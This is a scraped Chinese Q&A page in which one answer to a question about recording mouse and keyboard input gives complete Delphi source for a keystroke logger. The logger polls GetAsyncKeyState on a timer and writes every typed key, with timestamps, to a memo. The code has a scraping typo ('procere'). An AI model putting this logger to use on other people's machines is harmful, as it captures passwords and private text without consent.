问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

如何将用户的鼠标输入和键盘输入进行记录

发布网友 发布时间:2022-04-20 10:51

我来回答

1个回答

热心网友 时间:2023-06-28 04:41

新建一个Application

放一个Memo 和 Timer ,Timer的Interval设置为1
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
procere Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Line: String;

implementation

{$R *.dfm}

procere TForm1.Timer1Timer(Sender: TObject);
var
i,k:Integer;
s:String;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
k:=GetKeyState(VK_SHIFT);
case i of
8 : s:=s+'[Back]';
9 : s:=s+'[Tab]';
13 : s:=s+'[Enter]';
17 : s:=s+'[Ctrl]';
27 : s:=s+'[Esc]';
32 :s:=s+' ';
33 : s := s + '[Page Up]';
34 : s := s + '[Page Down]';
35 : s := s + '[End]';
36 : s := s + '[Home]';
37 : s := s + '[Left]';
38 : s := s + '[Up]';
39 : s := s + '[Right]';
40 : s := s + '[Down]';
44 : s := s + '[Print Screen]';
45 : s := s + '[Insert]';
46 : s := s + '[Del]';
145 : s := s + '[Scroll Lock]';

//Number 1234567890 Symbol !@#$%^&*()
48 : if k<0 then s:=s+')'
else s:=s+'0';
49 : if k<0 then s:=s+'!'
else s:=s+'1';
50 : if k<0 then s:=s+'@'
else s:=s+'2';
51 : if k<0 then s:=s+'#'
else s:=s+'3';
52 : if k<0 then s:=s+'$'
else s:=s+'4';
53 : if k<0 then s:=s+'%'
else s:=s+'5';
54 : if k<0 then s:=s+'^'
else s:=s+'6';
55 : if k<0 then s:=s+'&'
else s:=s+'7';
56 : if k<0 then s:=s+'*'
else s:=s+'8';
57 : if k<0 then s:=s+'('
else s:=s+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if k<0 then
s:=s+Chr(i+32) //a..z
else
s:=s+Chr(i) //A..Z
else if k<0 then
s:=s+Chr(i) //A..Z
else
s:=s+Chr(i+32); //a..z
end;
//Numpad
96: s:=s + '0';
97: s:=s + '1';
98: s:=s + '2';
99: s:=s + '3';
100: s:=s + '4';
101: s:=s + '5';
102: s:=s + '6';
103: s:=s + '7';
104: s:=s + '8';
105: s:=s + '9';
106: s:=s+'*';
107: s:=s+'+';
109: s:=s+'-';
110: s:=s+'.';
111: s:=s+'/';
144: s:=s+'[Num Lock]';

//F1-F12
112: s:=s+'[F1]';
113: s:=s+'[F2]';
114: s:=s+'[F3]';
115: s:=s+'[F4]';
116: s:=s+'[F5]';
117: s:=s+'[F6]';
118: s:=s+'[F7]';
119: s:=s+'[F8]';
120: s:=s+'[F9]';
121: s:=s+'[F10]';
122: s:=s+'[F11]';
123: s:=s+'[F12]';

186: if k<0 then s:=s+':'
else s:=s+';';
187: if k<0 then s:=s+'+'
else s:=s+'=';
188: if k<0 then s:=s+'<'
else s:=s+',';
189: if k<0 then s:=s+'_'
else s:=s+'-';
190: if k<0 then s:=s+'>'
else s:=s+'.';
191: if k<0 then s:=s+'?'
else s:=s+'/';
192: if k<0 then s:=s+'~'
else s:=s+'`';
219: if k<0 then s:=s+'{'
else s:=s+'[';
220: if k<0 then s:=s+'|'
else s:=s+'\';
221: if k<0 then s:=s+'}'
else s:=s+']';
222: if k<0 then s:=s+'"'
else s:=s+'''';
end;
end;
end;
Line:=Line+'.'+s;
if Length(Line)>=32 then
begin
Memo1.Lines.Add(FormatDateTime('[yymmddhhmmss]',now)+Line);
Line:='';
end;
end;

end.
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
怎么描写小猫呢? 什么梦预示正缘要出现 壳外电场分布为什么与壳内电荷的位置无关啊 为什么带电球壳的内部场强处处为零? 电荷内或外感应球壳,球壳内部场强是否处处为零 win11回收站图标隐藏方法-win11回收站怎么隐藏 Windows 11回收站不见了怎么办_如何在Windows 11中恢复回收站图标 Win11回收站图标显示方法 win11显示回收站的方法_win11怎么显示回收站 华为荣耀5X评价,缺点,参数 全能鼠标键盘记录器怎么用 全能鼠标键盘记录器使用 用什么软件可以纪录我的键盘都点击了什么键~~! 微信订阅号消息怎么去除 微信订阅号怎么消除 订阅号消息怎么消除? 微信里的订阅号怎么取消啊,挺烦人的? 彻底取消订阅号? 取消订阅号怎么取消 微信上怎样消除订阅号 怎样取消订阅号 gta5怎么一直在安装,一会就没了,然后什么都没有发生 这配置带得动GTA5吗?能玩英雄联盟的集成显卡可以... 五大行分别是哪几家银行? 股份制银行有哪些 中国股份制商业银行有哪些? 银行股从长远的角度来看,值得去投资吗? 银行股为什么这么便宜?比H股还要低这么多呢? 目前A股买哪只银行股好呢? 几大银行股 A股和H股同股分红一样吗? 鼠标键盘记录大师 1.0怎么用 有什么软件可以记录鼠标和键盘操作并能自动重演? 求一个软件,能记录电脑键盘动作的 鼠标键盘记录器 有什么记录键盘鼠标操作的软件 记录键盘和鼠标动作 怎样防止屏幕监控和键盘鼠标记录 鼠标键盘记录 鼠标键盘记录如何清除 有没有什么工具能记录键盘和鼠标的位置! 鼠标键盘记录器到底能不能用的 键盘记录器 鼠标键盘记录器,哪个网站的最好啊? 全能鼠标键盘记录器 怎么把|“录制的任务” 存到自定... 投资理财天天分红真的都是骗人的吗 投资理财天天分红是不是真的? 投资理财分红。网上说可以天天分红,是真的吗? 投资理财天天分红是不是真的 短期投资理财天天分红好不好 投资理财天天分红有这么好?